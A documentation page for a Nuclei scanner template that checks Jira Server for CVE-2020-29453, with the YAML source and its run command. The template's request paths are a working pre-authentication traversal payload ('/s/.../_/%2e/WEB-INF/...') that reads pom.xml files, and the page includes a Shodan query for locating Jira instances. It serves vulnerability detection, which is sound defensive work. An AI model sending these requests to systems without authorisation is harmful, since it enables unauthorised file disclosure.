Skip to content
Nuclei Templates

Jira Server Pre-Auth - Arbitrary File Retrieval (WEB-INF, META-INF)

ID: CVE-2020-29453

Severity: medium

Author: dwisiswant0

Tags: cve,cve2020,atlassian,jira,lfi,intrusive

Description

Section titled “Description”

The CachingResourceDownloadRewriteRule class in Jira Server and Jira Data Center allowed unauthenticated remote attackers to read arbitrary files within WEB-INF and META-INF directories via an incorrect path access check.

YAML Source

Section titled “YAML Source”
id: CVE-2020-29453


info:
  name: Jira Server Pre-Auth - Arbitrary File Retrieval (WEB-INF, META-INF)
  author: dwisiswant0
  severity: medium
  description: The CachingResourceDownloadRewriteRule class in Jira Server and Jira Data Center allowed unauthenticated remote attackers to read arbitrary files within WEB-INF and META-INF directories via an incorrect path access check.
  impact: |
    An attacker can retrieve sensitive files containing configuration information, potentially leading to further exploitation or unauthorized access.
  remediation: |
    Apply the necessary patches or updates provided by Atlassian to fix the vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-72014
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29453
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/UGF0aWVudF9aZXJv/Atlassian-Jira-pentesting
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-29453
    cwe-id: CWE-22
    epss-score: 0.01696
    epss-percentile: 0.86435
    cpe: cpe:2.3:a:atlassian:data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: atlassian
    product: data_center
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve,cve2020,atlassian,jira,lfi,intrusive


http:
  - method: GET
    path:
      - "{{BaseURL}}/s/{{randstr}}/_/%2e/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml"
      - "{{BaseURL}}/s/{{randstr}}/_/%2e/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <groupId>com.atlassian.jira</groupId>


      - type: status
        status:
          - 200
# digest: 4a0a004730450220618c38b5ab738f04bd89da515c42dfe2f07b579845fe8a266361b68c0b7251f3022100d0f7138845f0199a6aa3b9905d3295596bb70af306116ba1c7559bac6080ad69:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-29453.yaml"

View on Github